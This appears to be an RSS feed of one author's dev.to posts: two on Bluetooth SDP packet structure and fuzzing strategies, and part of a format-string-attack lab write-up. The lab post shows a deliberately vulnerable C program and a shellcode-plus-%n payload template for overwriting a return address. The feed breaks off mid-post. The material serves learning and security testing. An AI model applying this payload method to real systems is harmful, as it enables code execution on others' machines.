<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>Forem: Alexander Lee</title>
    <description>The latest articles on Forem by Alexander Lee (@duracellrabbid).</description>
    <link>https://forem.com/duracellrabbid</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2147638%2F16a5d5e8-0d01-4077-bd8b-762a4c96794d.jpg</url>
      <title>Forem: Alexander Lee</title>
      <link>https://forem.com/duracellrabbid</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://forem.com/feed/duracellrabbid"/>
    <language>en</language>
    <item>
      <title>Bluetooth SDP: Fuzzing the Beast</title>
      <dc:creator>Alexander Lee</dc:creator>
      <pubDate>Wed, 04 Feb 2026 11:10:37 +0000</pubDate>
      <link>https://forem.com/duracellrabbid/bluetooth-sdp-fuzzing-the-beast-50e1</link>
      <guid>https://forem.com/duracellrabbid/bluetooth-sdp-fuzzing-the-beast-50e1</guid>
      <description>&lt;p&gt;This is a continuation of my &lt;a href="https://dev.to/duracellrabbid/bluetooth-sdp-quick-overview-464c"&gt;last post&lt;/a&gt; on Bluetooth Service Discovery Protocol. &lt;/p&gt;

&lt;h2&gt;
  
  
  Why fuss about the fuzz?
&lt;/h2&gt;

&lt;p&gt;In a typical SDP transaction, there is no user interaction as SDP is used automatically to detect services from a Bluetooth host. If there is a critical vulnerability in SDP, a malicious actor may exploit the vulnerability and cause denial of service or remote code execution on the target device. When such event happens, the user of the target device may be oblivious as the SDP transactions are transparent to the user. &lt;/p&gt;

&lt;p&gt;To demonstrate the importance of detecting vulnerabilities in SDP, we can look at &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-1000250" rel="noopener noreferrer"&gt;CVE-2017-1000250&lt;/a&gt;. &lt;/p&gt;

&lt;p&gt;CVE-2017-10000250 is a vulnerability in &lt;a href="https://www.fortinet.com/blog/threat-research/blueborne-may-affect-billions-of-bluetooth-devices" rel="noopener noreferrer"&gt;BlueZ&lt;/a&gt;, Linux Bluetooth stack implementation. The vulnerability allows the attacker to control the continuation state within SDP request packets and cause the SDP server to return an out-of-bounds read from the response buffer. As this is a Linux Bluetooth stack, all Linux-based devices were affected, including Android devices. &lt;/p&gt;

&lt;p&gt;This vulnerability was featured as one of the attack vectors in Blueborne malware, which exploit multiple Bluetooth vulnerabilities. &lt;br&gt;
CVE-2017-1000250 and &lt;a href="https://nvd.nist.gov/vuln/detail/CVE-2017-0785" rel="noopener noreferrer"&gt;CVE-2017-0785&lt;/a&gt; were the last known major vulnerabilities for Bluetooth SDP. Although there was a recent vulnerability related to SDP (&lt;a href="https://nvd.nist.gov/vuln/detail/cve-2023-4513" rel="noopener noreferrer"&gt;CVE-2023-4513&lt;/a&gt;), it was a Wireshark bug due to a memory leak in its SDP dissector. It does not mean that the current SDP implementation of the Bluetooth software stacks have no vulnerabilities or bugs. There may exist a vulnerability that has yet to be discovered.&lt;/p&gt;
&lt;h2&gt;
  
  
  Core field Mutations
&lt;/h2&gt;

&lt;p&gt;The project was initially proposed to be an extension of L2Fuzz. L2Fuzz fuzzes the L2CAP by focusing mutating the core fields in L2CAP. By mutating only the core fields, we are able to send packets that are more likely to cause a crash, which may reveal a bug that leads a vulnerability. Of course we can send totally random inputs, but if a random input would most likely be rejected by the server. Performing a core field mutation also allows us to zoom into the particular message processing part should we discover a bug.&lt;/p&gt;

&lt;p&gt;In the spirit of L2Fuzz, the project also looks into core field mutation of the SDP request packets. &lt;/p&gt;

&lt;p&gt;A SDP request typically consists of a PDU header, parameters and continuation state. Looking at the error responses which a SDP server can generate, it seems that the SDP server will reject any request where the fields are mutated. Most mutated packets are likely to be rejected by the SDP server. Further experimentations with various fuzzing strategies have shown that the mutated packets were all met with various error responses. One exception is the continuation state, where appending additional data to a valid continuation state may result in a valid SDP response. While it may be because we did not modify the length parameter of the continuation state, fuzzing the continuation state is the most promising strategy to detect any bug or vulnerability in SDP.&lt;/p&gt;
&lt;h3&gt;
  
  
  Continuation State Mutation
&lt;/h3&gt;

&lt;p&gt;In CVE-2017-1000250 and CVE-2017-0785, the vulnerabilities targeted at the continuation state of SDP requests. While SDP has error response regarding invalid continuation state, it would be worthwhile to consider mutating the continuation states. &lt;/p&gt;

&lt;p&gt;The continuation state of a SDP request can be broken down into the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Continuation State = Length of Continuation State (1 byte) + Continuation Information
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwl9ovnqxbc09fagklg2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwl9ovnqxbc09fagklg2l.png" alt="Anatomy of a continuation state" width="533" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We consider 3 approaches in mutating the continuation states:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Mutating a single byte from an actual continuation information.
This approach ensures that the mutated value is close to a valid continuation state. By fuzzing with a mutated continuation state close to a valid state, we increase the chance of the packet not getting rejected, thus allowing us to detect any bug with higher probability.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo86cv9j4ql2580rkafu8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo86cv9j4ql2580rkafu8.png" alt="Single Byte Mutation" width="588" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Generating a full random continuation information and set the length of the continuation state to the length of the new random value.&lt;br&gt;
This approach is similar to the approach #1. However, the mutated continuation state may be a totally different value from a valid continuation state. This may result in more rejected packets but it might trigger bugs that occurs in the rejection code.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Modify the length of the continuation to a higher value.&lt;br&gt;
This approach differs from the first 2 approaches as it directly manipulates the length value of the continuation state. This approach can also be used in tandem with the first 2 approaches or independently. By modifying the length to a higher value, the fuzzer might be able to detect a read out of bound error, which can be used as an exploit.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Random Fuzzing
&lt;/h3&gt;

&lt;p&gt;While we want to inherit the key techniques outlined by L2Fuzz, we want to increase coverage of the fuzzing exercise as well. &lt;/p&gt;

&lt;p&gt;There were a few approaches that were considered:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Adding random mutations to the data sequences (UUID lists or attribute lists).
This is similar to the continuation states mutation. Instead of mutating the continuation states, we mutate the parameters in the data sequences. A typical data sequence in SDP can be generalized into the following:
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Data Sequence = Data Sequence Header + Data Elements

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Where a typical Data Element can be generalized into the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Data Element = Data Element Header + Data

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this approach, we will append random mutations into the Data of the data element. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5tqclh6d9wh2rf4r2etk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5tqclh6d9wh2rf4r2etk.png" alt="Random Mutation on Data Element" width="625" height="219"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Flipping random bits in the parameters.&lt;br&gt;
In this approach, we can flip random bits in the packets. &lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Appending random mutations into the packets. &lt;br&gt;
This is similar to the continuation states mutation. However, the appended mutation will not be counted as part of the continuation states. In this approach, the request can be generalized into the following:&lt;br&gt;
&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SDP Request = PDU Header + Parameters + Continuation State + Random Mutation.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5q1q0mbec25eyuf6jxam.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5q1q0mbec25eyuf6jxam.png" alt="Random append in continuation state" width="546" height="158"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generating totally random byte data for the packets.
This approach simply generates random byte values as the packet data and send to the SDP server. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In the project, we selected Approach 1 and 4 for implementation. For continuation state mutation, we mutate a single byte in the continuation state and the length parameter of the continuation. &lt;/p&gt;

&lt;p&gt;Next post, I will touch a bit on the implementation and discuss the evaluation of the project. Till next time~&lt;/p&gt;

</description>
      <category>bluetooth</category>
      <category>fuzzing</category>
    </item>
    <item>
      <title>Bluetooth SDP: Quick Overview</title>
      <dc:creator>Alexander Lee</dc:creator>
      <pubDate>Sun, 25 Jan 2026 15:53:55 +0000</pubDate>
      <link>https://forem.com/duracellrabbid/bluetooth-sdp-quick-overview-464c</link>
      <guid>https://forem.com/duracellrabbid/bluetooth-sdp-quick-overview-464c</guid>
      <description>&lt;p&gt;In my second semester for my post graduate study, I took up a project work as my "main module" for the semester. Since it is equivalent to 2 modules, my workload was more or less set to that project. &lt;/p&gt;

&lt;p&gt;The project was to build a SDP fuzzer on top of a L2CAP fuzzer. For those who do not know, L2CAP is one of the core protocols in Bluetooth that manages the connection between master and slave devices. SDP (short for Service Discovery Protocol) is a protocol that sits on top of L2CAP. &lt;/p&gt;

&lt;p&gt;I will use this post to do a simple introduction of SDP, with an example on how to construct a request packet. &lt;/p&gt;

&lt;h2&gt;
  
  
  Service Discovery Protocol
&lt;/h2&gt;

&lt;p&gt;The Service Discovery Protocol (SDP) offers a framework for applications to identify available services and understand their features. In the Bluetooth context, where services can dynamically change as devices move and come into RF proximity, the process of service discovery differs significantly from traditional network environments.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6r5hzpclc8vu497jvfiw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6r5hzpclc8vu497jvfiw.png" alt="A very rough Bluetooth stack diagram" width="566" height="503"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Specifically designed for Bluetooth, the Bluetooth Service Discovery Protocol (SDP) caters to the unique, fast-changing conditions of Bluetooth communications. Its primary role is to locate services that can be accessed via Bluetooth devices. However, SDP itself does not specify how to access these services once found. Instead, after SDP identifies available services, other protocols and methods can be used for service access. Although SDP can function alongside other discovery protocols, it operates independently, ensuring that services in Bluetooth settings are located with SDP and then accessed using the relevant Bluetooth-defined protocols.&lt;/p&gt;

&lt;p&gt;The interaction in SDP involves an SDP Server and an SDP Client. The server holds a database of service records, each describing a single service's attributes. A client can obtain these details by sending an SDP request to the server. When a client or its associated application opts to use a service, it establishes a separate connection to the service provider. Thus, while SDP effectively discovers services and outlines their attributes (including how to access them), it does not handle the actual utilization or delivery of these services.&lt;/p&gt;

&lt;p&gt;In scenarios where a device hosts multiple applications offering services, an SDP Server can represent all these service providers by managing requests for their service information. Likewise, an SDP Client can serve multiple client applications by querying various servers. It is important to note that the available SDP Servers change dynamically depending on their RF proximity to the client. When a new server comes into range, the client is informed through mechanisms outside of SDP, allowing it to then use SDP to request further service details. Conversely, if a server moves out of range or becomes unavailable, SDP does not send an explicit notification; the client must infer the server’s absence through unsuccessful responses to its queries.&lt;/p&gt;

&lt;p&gt;While L2CAP is a stateful protocol, SDP is mostly stateless. It does have a continuation state for the search responses, for the purpose of retrieving segmented data. (Sometimes the data is too huge to be sent in one single packet.)&lt;/p&gt;

&lt;h2&gt;
  
  
  SDP Transactions
&lt;/h2&gt;

&lt;p&gt;There are 7 protocol data unit (PDU) IDs associated with SDP transactions.&lt;br&gt;
0x01    Error response &lt;br&gt;
0x02    Service Search Request&lt;br&gt;
0x03    Service Search Response&lt;br&gt;
0x04    Service Attribute Request&lt;br&gt;
0x05    Service Attribute Response&lt;br&gt;
0x06    Service Search Attribute Request&lt;br&gt;
0x07    Service  Search Attribute Response&lt;/p&gt;

&lt;p&gt;Other values are reserved for future use. From the list of PDU IDs, we can see that there are 3 main types of transactions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Service Search – Used to locate service records that match the service search pattern in the request. The SDP server will return a list of service record handles that match the given search pattern.&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Service Attribute – Used to retrieve specific attribute values from a service record. The SDP server will return a list of attributes (attribute ID and values).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Service Search Attribute – Used to combine the capabilities of Service Search and Service Attribute requests into a single request. It can be used to reduce SDP transactions especially if there are multiple service records to be retrieved. The request is more complex and the SDP server may return partial list with continuation state. In this case, the client will need to resend the request with the continuation state to obtain the next part of the list.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If the PDU is not correctly formatted or when the SDP server cannot generate an appropriate response, the SDP server will generate an Error response (0x01). There are six errors assigned to error codes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Invalid SDP version&lt;/li&gt;
&lt;li&gt;Invalid Service record handle&lt;/li&gt;
&lt;li&gt;Invalid request syntax&lt;/li&gt;
&lt;li&gt;Invalid PDU size&lt;/li&gt;
&lt;li&gt;Invalid continuation state&lt;/li&gt;
&lt;li&gt;Insufficient resource to satisfy Request&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;
  
  
  SDP Protocol Format
&lt;/h2&gt;

&lt;p&gt;Every SDP packet consists of a PDU header and its parameters. A PDU header contains 3 fields: PDU ID, Transaction ID and the length of the parameters. The parameters may be represented by a data element. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivi38qzvth98o6qsxing.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fivi38qzvth98o6qsxing.png" alt="Diagram for a typical SDP packet" width="800" height="110"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A data element is a typed data representation, which contains a type descriptor, size descriptor, an optional size value for data sequence and the data. The type descriptor and size descriptor makes up the header field of the data element. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcumajkmugo1oopo4uzzf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcumajkmugo1oopo4uzzf.png" alt="A typical data element in a SDP packet" width="624" height="266"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A full primer of the SDP data format is available &lt;a href="https://www.bluetooth.com/wp-content/uploads/Files/Specification/HTML/Core-54/out/en/host/service-discovery-protocol--sdp--specification.html" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  Example:
&lt;/h2&gt;

&lt;p&gt;Supposing I want to make a Service Attribute Request (PID: 0x04). The service record handle that I am querying is 0x00010000. I want to enquire service attributes 0x0001 and 0x0002. There is no continuation state. &lt;/p&gt;

&lt;p&gt;Let's work on the data element for the service attributes. For service attributes, the data type is unsigned integer (type code: 0x01) and its size will be 2 bytes (size code: 0x01). Now, based on the data element specification, the type descriptor will take up 5 bits and size descriptor will take up 3 bits.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Type code: 0x01 = 00001
Size code: 0x01 = 001
1st byte for the data element: 0x09 = 00001001
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So the data element for the service attributes will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0x0001: 09 00 01 (3 bytes)
0x0002: 09 00 02 (3 bytes)

Joining them together, we will have:

09 00 01 09 00 02
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that the first byte of each data element is 0x09, as we have worked out previously. Also note that the attribute list is 6 bytes. &lt;/p&gt;

&lt;p&gt;As we are querying for a list of service attributes, the 2 attribute handles will be encapsulated in a data sequence element.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Type code: 0x06 = 00110 (Data sequence)
Size code: 0x05 = 101 (The data size is contained in the additional 8 bits, which are interpreted as an unsigned integer.)
1st byte for the data element: 0x35 = 00110101

2nd byte for the data element will be the parameter size, which is 6 bytes: 0x06

The full attribute list will be:

35 06 09 00 01 09 00 02
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note that the size of this full attribute list is 8 bytes. &lt;/p&gt;

&lt;p&gt;A Service Attribute Request comprises of a few elements:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PID (1 byte) &lt;/li&gt;
&lt;li&gt;Transaction ID or TID (2 bytes)&lt;/li&gt;
&lt;li&gt;Payload length (2 byte)&lt;/li&gt;
&lt;li&gt;Service record handle (4 bytes)&lt;/li&gt;
&lt;li&gt;Max attribute byte count (2 bytes)&lt;/li&gt;
&lt;li&gt;Service attribute list (variable)&lt;/li&gt;
&lt;li&gt;Continuation State (variable)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Note that payload length is the parameter length, which excludes PID and TID.&lt;/p&gt;

&lt;p&gt;Assuming that there is no continuation state for our example, then our datagram will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PID: 0x04
TID: 0x0001 (arbitrary value)
Payload length: 4 + 2 + 8 + 1 = 15 = 0x000F
Service record handle: 0x00010000 (4 bytes)
Max Attribute byte count: 0x0007 (Minimum) (2 bytes)
Service attribute list: 0x3506090001090002 (derived earlier, 8 bytes)
Continuation State: 0x00 (1 byte)

Complete datagram:
04 00 01 00 0F 00 07 35 06 09 00 01 09 00 02 00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There we go, we have our SDP request. This datagram will be appended to the L2CAP packet when sent via Bluetooth. &lt;/p&gt;

&lt;p&gt;We will discuss on my approach in fuzzing SDP in the next post. &lt;/p&gt;

</description>
      <category>bluetooth</category>
    </item>
    <item>
      <title>Journey to understand format string attack (Part 2)</title>
      <dc:creator>Alexander Lee</dc:creator>
      <pubDate>Fri, 04 Oct 2024 14:48:06 +0000</pubDate>
      <link>https://forem.com/duracellrabbid/journey-to-understand-format-string-attack-part-2-5008</link>
      <guid>https://forem.com/duracellrabbid/journey-to-understand-format-string-attack-part-2-5008</guid>
      <description>&lt;p&gt;Part 1:&lt;br&gt;
&lt;a href="https://dev.to/duracellrabbid/journey-to-understand-format-string-attack-part-1-5dda"&gt;https://dev.to/duracellrabbid/journey-to-understand-format-string-attack-part-1-5dda&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;In Part 1, one of the motivations that made me write these posts were because it took me a freaking long time to understand how format string attack works. To give you some context, I first knew about it in late 2021/early 2022. Took me a good 2.5 years to fully understand how it works. Still, I wanted to share my learning journey and where I eventually ended in. &lt;/p&gt;
&lt;h2&gt;
  
  
  The Task
&lt;/h2&gt;

&lt;p&gt;Here, I will move on to talk about the assignment that helped propelled me into the journey. In my assignment, I was asked to run a shellcode using a "memory exploit" in the program. The source code was provided and it looked something like that:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int vul1(char *arg)
{
  char buffer[400];
  snprintf(buffer, sizeof buffer, arg);
  return 0;
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "cstarget: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  vul1(argv[1]);

  return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code can be compiled in gcc using the following flags:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;-mpreferred-stack-boundary=2 -ggdb -m32 -L/usr/lib32 -fno-stack-protector
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Unfortunately, the source code and compilation flags were only for references. I had to perform the attack on the given binary, with ASLR turned off. &lt;/p&gt;

&lt;h2&gt;
  
  
  Analysis
&lt;/h2&gt;

&lt;p&gt;First of all, we can see that the binary needs to run with one, and only one argument.&lt;/p&gt;

&lt;p&gt;Then it will use &lt;code&gt;snprintf&lt;/code&gt; to print this argument into a &lt;code&gt;buffer&lt;/code&gt; of 400 chars. Initially, I thought this can be done using buffer overflow but &lt;code&gt;snprintf&lt;/code&gt; is checking against the size of &lt;code&gt;buffer&lt;/code&gt;. So this makes BoF attack unviable. &lt;/p&gt;

&lt;p&gt;We are talking about format string vulnerabilities right? Guess what? We have &lt;code&gt;snprintf&lt;/code&gt;!&lt;/p&gt;

&lt;p&gt;&lt;code&gt;snprintf&lt;/code&gt; does not produce an output. It basically prints the specified string till a specified length in the specified format to a buffer. A quick run on the binary with argument also confirms that. &lt;/p&gt;

&lt;p&gt;No fear though! We have GDB. GDB is our friend. Let's bring along GEF for the ride as well.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgvmhounbn1xsbw9ctf0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ffgvmhounbn1xsbw9ctf0.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo596mjyuvhe8buu0s5mm.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fo596mjyuvhe8buu0s5mm.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
From the screenshots, I noticed that buffer is at &lt;code&gt;$esp&lt;/code&gt;. My return address is stored from +0x198 from buffer. In any case, I knew that the saved instruction address is &lt;code&gt;0x56556236&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;The simplest approach is to have this address overridden to run my shellcode. Since the stack is executable, there are 3 potential places where I can run the shellcodes: &lt;code&gt;buffer&lt;/code&gt;, &lt;code&gt;arg&lt;/code&gt; and environment variables. I chose &lt;code&gt;buffer&lt;/code&gt; as it is the easiest. &lt;/p&gt;

&lt;p&gt;In addition, I observed one issue. Look at the screenshot where I planted 64 &lt;code&gt;NOPs&lt;/code&gt; into the stack.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7n2gig2b6sor57qly04t.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7n2gig2b6sor57qly04t.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that the start of &lt;code&gt;buffer&lt;/code&gt; changes as the size of the argument for &lt;code&gt;vul1&lt;/code&gt; increases. This is kind of expected. Remember my uglily drawn stack in Part 1:&lt;br&gt;
&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6lyt89shai7im836dus.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fg6lyt89shai7im836dus.png" alt="Image description"&gt;&lt;/a&gt;&lt;br&gt;
Since parameters are placed before the return address, a parameter of bigger size will definitely push the stack further down. &lt;/p&gt;

&lt;p&gt;Is that a concern for us? Yes and no. If we are not careful, the addresses that we need to write to will be wrong. However, if we formulate the format string right, we can get the addresses right where we want it. &lt;/p&gt;
&lt;h2&gt;
  
  
  The format string
&lt;/h2&gt;

&lt;p&gt;In this round, my approach will be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;shellcodes&amp;gt; + &amp;lt;NOP paddings&amp;gt; + &amp;lt;address1&amp;gt; + &amp;lt;address2&amp;gt; + %Ax%G$n%Bx%H$n
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Shellcode + &lt;code&gt;NOPs&lt;/code&gt; = 64 bytes (you can try any number that is multiple of 4)&lt;br&gt;
address1 = the stack memory address that holds the return address&lt;br&gt;
address2 = basically address1 + 0x2&lt;br&gt;
A = lower order of the starting address of buffer - 64 - 8&lt;br&gt;
B = higher order of starting address of buffer - lower order of starting address of buffer&lt;br&gt;
G = (64 / 4) + 1&lt;br&gt;
H = G + 1&lt;/p&gt;

&lt;p&gt;Sounds abstract? I guessed it. Let's use Excel to visualize the stack.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdagx50s9hm8g6v4nj56s.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdagx50s9hm8g6v4nj56s.png" alt="Image description"&gt;&lt;/a&gt;&lt;/p&gt;

